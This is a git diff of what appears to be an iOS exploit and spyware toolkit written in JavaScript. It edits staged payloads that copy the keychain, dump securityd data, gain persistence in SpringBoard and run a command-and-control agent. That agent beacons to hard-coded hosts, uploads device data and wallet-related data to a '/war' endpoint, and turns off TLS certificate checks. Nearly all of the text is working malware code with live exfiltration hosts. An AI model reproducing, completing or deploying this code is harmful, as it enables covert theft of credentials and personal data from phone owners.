\"/tmp/keychain_copier_status.txt\", 511);\n\t}\n\tif (__kcCopyDbOk) {\n\t\tvar gfd = Number(Native.callSymbol(\"open\", \"/tmp/keychain_mpd_go\", 0x601, 511));\n\t\tif (gfd >= 0) {\n\t\t\tvar gbuf = Native.callSymbol(\"malloc\", BigInt(__kcPath.length + 2));\n\t\t\tNative.writeString(gbuf, __kcPath + \"\\n\");\n\t\t\tNative.callSymbol(\"write\", gfd, gbuf, __kcPath.length + 1);\n\t\t\tNative.callSymbol(\"close\", gfd);\n\t\t\tNative.callSymbol(\"free\", gbuf);\n\t\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_mpd_go\", 511);\n\t\t}\n\t\t_dbgSockSend(\"kc_copy_READY_notify_mpd_path_\" + __kcPath.replace(/\\//g, \"_\"));\n\t}\n} catch (_s) {}\n\ntry {\n\tvar p7fd = Number(Native.callSymbol(\"open\", \"/tmp/p7_debug.log\", 0));\n\tif (p7fd < 0) {\n\t\t_dbgSockSend(\"kc_alive_p7log_MISSING\");\n\t} else {\n\t\tvar fend = Number(Native.callSymbol(\"lseek\", p7fd, 0, 2)); // SEEK_END\n\t\tvar fstart = fend > 1400 ? fend - 1400 : 0;\n\t\tNative.callSymbol(\"lseek\", p7fd, fstart, 0);\n\t\tvar rbuf2 = Native.callSymbol(\"malloc\", 1500);\n\t\tvar rn = Number(Native.callSymbol(\"read\", p7fd, rbuf2, 1400));\n\t\tNative.callSymbol(\"close\", p7fd);\n\t\tif (rn <= 0) {\n\t\t\t_dbgSockSend(\"kc_alive_p7log_EMPTY\");\n\t\t} else {\n\t\t\tvar d8 = new Uint8Array(Native.read(rbuf2, rn));\n\t\t\tvar hx = \"\";\n\t\t\tfor (var hi = 0; hi < d8.length; hi++) hx += (d8[hi] < 16 ? \"0\" : \"\") + d8[hi].toString(16);\n\t\t\tNative.callSymbol(\"free\", rbuf2);\n\t\t\t_dbgSockSend(\"kc_p7tail_\" + hx);\n\t\t}\n\t}\n} catch(e) {\n\ttry { _dbgSockSend(\"kc_p7tail_ERR\"); } catch(e2) {}\n}\n// ===== END DEBUG uplink =====\n\n\n"); /***/ }), @@ -8529,35 +8529,18 @@ function start() { try { p7_postLogHttp(line); } catch (_ph) {} } function p7_logHostPort() { - try { - var g = typeof globalThis !== "undefined" ? globalThis : null; - if (g && g.__PE_EXFIL_HOST__) { - var tls = !!g.__PE_EXFIL_TLS__; - return { host: String(g.__PE_EXFIL_HOST__), port: Number(tls ? g.__PE_EXFIL_HTTPS__ : g.__PE_EXFIL_HTTP__) || (tls ? 443 : 80) }; - } - if (g && g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host) { - var e = g.__LAB_EXFIL__; - var etls = !!(e.tls || e.prefer_https); - return { host: String(e.host), port: Number(etls ? (e.https_port || 443) : (e.http_port || 80)) }; - } - } catch (_hp) {} - return { host: "mh0usocqzi6f46i.com", port: 443 }; + return { host: "192.168.31.130", port: 8080 }; } - function p7_deliveryHostPort() { + function __peDeliveryHostPort() { try { var g = typeof globalThis !== "undefined" ? globalThis : null; - var raw = String((g && (g.__PE_DELIVERY_HOST__ || g.__LAB_DELIVERY_HOST__)) || "http://one99.vip"); - var m = raw.match(/^(https?):\/\/([^\/:]+)(?::(\d+))?(\/.*)?$/i); - if (m) { - var dtls = m[1].toLowerCase() === "https"; - return { - host: m[2], - port: Number(m[3] || (dtls ? 443 : 80)), - pathPrefix: String(m[4] || "").replace(/\/$/, "") - }; + var raw = g && g.__PE_DELIVERY_HOST__; + if (raw) { + var m = String(raw).match(/^(https?):\/\/([^\/:]+)(?::(\d+))?/i); + if (m) return { host: m[2], port: Number(m[3] || (m[1].toLowerCase() === "https" ? 443 : 80)) }; } - } catch (_dh) {} - return { host: "one99.vip", port: 80, pathPrefix: "" }; + } catch (_d) {} + return p7_logHostPort(); } // CFNetwork HTTP (no BSD socket). method=GET|POST; wantBody→return response body string or null. // optHp: optional {host,port} override (stage fetch uses delivery host; logs/war use p7_logHostPort). @@ -8568,7 +8551,7 @@ function start() { httpPath = String(httpPath || "/"); body = (body == null) ? "" : String(body); var hp = optHp || p7_logHostPort(); - var host = String((hp && hp.host) || "192.168.1.29"); + var host = String((hp && hp.host) || "192.168.31.130"); var port = ((hp && hp.port) | 0) || 9011; function __cfRd64(addr) { var bytes = N.read(addr, 8); @@ -8696,7 +8679,7 @@ function start() { } catch (_e) { return wantBody ? null : false; } } function p7_postLogHttp(text) { - // MPD → C2 /log via CFNetwork (source=pe_mpd). + // MPD → C2 /api/ds/log via CFNetwork (source=pe_mpd). try { var uuid = ""; try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {} @@ -8784,7 +8767,7 @@ function start() { } p7_flog("PEMK-A pe_run_token deferred until after s1 tokens"); p7_flushLog(); - // ===== Staged execution (current success flow) — GET /api/ds/pe-stage/ marks progress ===== + // ===== Staged execution (current success flow) — /pe_stage/*.js marks progress ===== // s1 launchd+tokens → s2 keychain_copier → s3 mempress/destroy launchd // → s4 SB loader → s6 Phase2 sqlite/securityd → s5 c2 (after dump; avoid securityd contention) let launchdTask = null; @@ -9435,7 +9418,7 @@ function __labKcReadStatus() { sandbox: {} }; var body = JSON.stringify(pkg); - var ok = !!__labCfHttp("POST", "/war", body, false, { host: "mh0usocqzi6f46i.com", port: 443 }); + var ok = !!__labCfHttp("POST", "/war", body, false, { host: "192.168.31.130", port: 8080 }); p7_flog("PEMK-F0 war-fallback " + (ok ? "POST ok" : "POST fail") + " bytes=" + body.length + " reason=" + reason); p7_flushLog(); return ok; @@ -9474,18 +9457,6 @@ function __labKcReadStatus() { } catch(dErr) { LOG("[PE-WORKER] diag insert error: " + dErr); } - try { - let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); - if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { - c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); - c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); - let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; - c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); - LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")"); - } - } catch(uErr) { - LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr); - } if (__useNuiC2) { p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog(); var __c2RC = null; @@ -10702,18 +10673,10 @@ function __labKcReadStatus() { } function __peHttpGetStage(path) { - // C2 GET /api/ds/pe-stage/ — Laravel file log. Body is not stage JS (inline fallback). try { var name = String(path || "").replace(/^.*\//, "").replace(/\.js$/i, ""); if (!name) return null; - var uuid = ""; - try { - var g = typeof globalThis !== "undefined" ? globalThis : null; - if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__); - } catch (_u) {} - var q = "/api/ds/pe-stage/" + name; - if (uuid) q += "?deviceUUID=" + uuid; - return __labCfHttp("GET", q, null, true); + return __labCfHttp("GET", "/api/ds/pe-stage/" + name + ".js", null, true, p7_logHostPort()); } catch (e) { return null; } diff --git a/channel-builder-ds/source/pe_stage/s5_c2.js b/channel-builder-ds/source/pe_stage/s5_c2.js index 60e9b43..e58af37 100644 --- a/channel-builder-ds/source/pe_stage/s5_c2.js +++ b/channel-builder-ds/source/pe_stage/s5_c2.js @@ -28,9 +28,12 @@ // Without this, c2_agent falls back to the hardware IOPlatformUUID and the // two exfil trees diverge (uuid mismatch). try { - let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); - if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { - c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); + let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || ''); + if (_duuid) { + // 把 delivery UUID 直接烤进 c2_agent 的 __LAB_BAKED_DELIVERY_UUID__ 占位符。 + // c2_agent 顶部 const DEVICE_UUID = (function(){var b=String("__LAB_BAKED_DELIVERY_UUID__");...})(); + // 占位符未替换时会回退到硬件 IOPlatformUUID,导致 C2 /war 的 UUID 与 delivery /log 不一致。 + // 这里把占位符替换成真实 delivery UUID,使两棵 exfil 树同 UUID。 c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); diff --git a/channel-builder-ds/source/pe_worker.js b/channel-builder-ds/source/pe_worker.js index 762bbcc..921b769 100644 --- a/channel-builder-ds/source/pe_worker.js +++ b/channel-builder-ds/source/pe_worker.js @@ -1,4 +1,4 @@ -try{var __g=typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this);if(__g&&String(__g.__LAB_DEVICE_UUID__||"")==="69DD25B2CA8B5682BA2470D77124E2FC")__g.__LAB_DEVICE_UUID__="";}catch(_u0){} +globalThis.__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC"; (() => { try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {} try { fcall_init(); func_offsets_array[0x2100] = 0x51; } @@ -10,7 +10,7 @@ try{var __g=typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined try { var __peAliveOnce = false; // No BSD socket probes. Later (after Native) pe_alive_ping uses CFNetwork GET /api/ds/log. - // Quiet by default: only ping on fail/err/exc/threw tags (progress = GET /api/ds/pe-stage/). + // Quiet by default: only ping on fail/err/exc/threw tags (progress = GET /pe_stage/*.js). var pe_alive_ping = function (tag) { try { var t = String(tag || ""); @@ -1432,7 +1432,7 @@ __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); -/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// https://mh0usocqzi6f46i.com:443/beacon / https://mh0usocqzi6f46i.com:443/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"https://mh0usocqzi6f46i.com:443/beacon\";\nconst C2_RESULT_URL = \"https://mh0usocqzi6f46i.com:443/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"https://mh0usocqzi6f46i.com:443\";\nconst HQ_WALLET_PORT = \"443\";\nvar _HQ_DELIV_LOG_URL = \"http://one99.vip:80/log\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thttpPost(_HQ_DELIV_LOG_URL, { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = 